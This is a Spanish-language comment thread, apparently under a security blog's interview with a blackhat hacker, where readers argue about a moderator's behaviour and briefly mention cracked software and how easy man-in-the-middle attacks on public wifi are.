Supongo que habrás sido tú el que se ha automoderado. Pero, ya puestos, elimina todos los comentarios que respondían a los tuyos. Tal como están, tienen muy poco sentido.
Como no puedo contestarte a ti, al haber borrado tu comentario, me contesto a mí mismo.
Siendo honesto, cuando leí el artículo, mejor dicho, cuando leí tus comentarios a los comentarios del artículo, flipé. Soy de la opinión de Ski6 (http://www.securitybydefault.com/2014/02/entrevista-un-blackhat.html#comment-1241171008). Un moderador no puede, al menos públicamente, rebajarse de la manera en la que lo has hecho aquí. Ni mucho menos ir de "Aquí se hace lo que me sale de los huevos questo es mío". Lo puedes hacer, pero a lo mejor el público que se queda no es el que te gustaría. Tú verás.
Como te decía, después de leer tus comentarios se me ocurrió ponerte un "honeypot", para probar que hasta un experto en seguridad, en ciertas condiciones, falla. Un comentario, el mío, bastante neutro, pero con dos incisiones en el ego, al principio y al final han sido suficientes para que picaras.
¿Qué pretendo con este comentario? Si no es censurado; dejar constancia de que se te ha visto el plumero. Que teniendo muchas cosas interesantes que contar y ya contadas, no era necesaria esta salida de tiesto. Algunos ya no te miramos igual (aunque no te importe).
Y a tu escudero, a ese Sancho Panza digital que salió, inmediatamente, en tu ayuda, y que es tan agudo que publicó su desternillante comentario del "SARCASMO" en su twitter, ¿qué le puedo decir que no se haya visto ya en sus propias palabras?... ¿"Recoge los juguetes cuando acabes"?
Alejandro, te felicito por "Hacker Épico", una fantástica novela. A ver si vemos pronto la continuación. Pero no más salidas de tiesto, porque si no, en vez de comprarla, me la bajaré del emule en un PDF infectado por K***h.
Saludos benignos!
Muy interesante!
Es muy normal encontrarte a "profesionales" informáticos que recomiendan a sus clientes que se instalen tal o cual software crackeado. En serio que piensan que no es peligroso, porque el antivirus X, también crackeado, no detecta nada.
Un saludo!
Algunos les gusta la adrenalina...
Bueno, después de hacer un poco el semi-ridi creyendo que el artículo era un post-broma como el de las velas, he vuelto a leerlo entero y también todos los comentarios.
Iba a decir varias cosas, pero me he tropezado con una frase del calendario que dice que es mejor no hablar si no se está seguro de que lo que se va a decir es más hermoso que el silencio. Así es que, lo dejo en:
- Creo que ya le he pillado el sentido y la intención. Lo que sucede es que eso de que no todo son mafias extranjeras y que " tal vez yo no tenga la necesidad de vender productos de ningún tipo y por ello tampoco necesito escribir un documento describiendo las soluciones de seguridad y como mi empresa las ha detectado", es algo que creo que hasta los novatillos intuimos y por eso me dio por pensar que sería algo menos evidente. Lo de forocoches me lo apunto porque eso sí que lo desconocía :)
- No conozco apenas a Alejandro. Pero en una ocasión en la que por casualidad intercambiamos cuatro tuits no me dio la impresión de ser un prepotente, más bien lo contrario. Pero bueno, todo el mundo tiene días.
- Yo prefiero usar internet para intercambiar conocimientos (o, en mi caso, más bien para aprender) mejor que para atacar a nadie. Y, en cualquier caso, me fijo más en la calidad de la información que en lo simpática o antipática que sea la gente.
- Me alegro de que SbD sea gratis.
(pero vamos, todo lo anterior es solo mi opinión)
No me gusta el "trabajo" de blackhat, me parece un simple delincuente que trata de justificar su falta de ética en las acciones de otros usuarios pero esa es otra historia. En lo que a MiTMe, es demasiado simple, ir a cualquier cafe, restaurant, wifi colectivo, etc.. y ya tienes a cientos de victimas a tu alcance sin mucho esfuerzo.
Publicar un comentario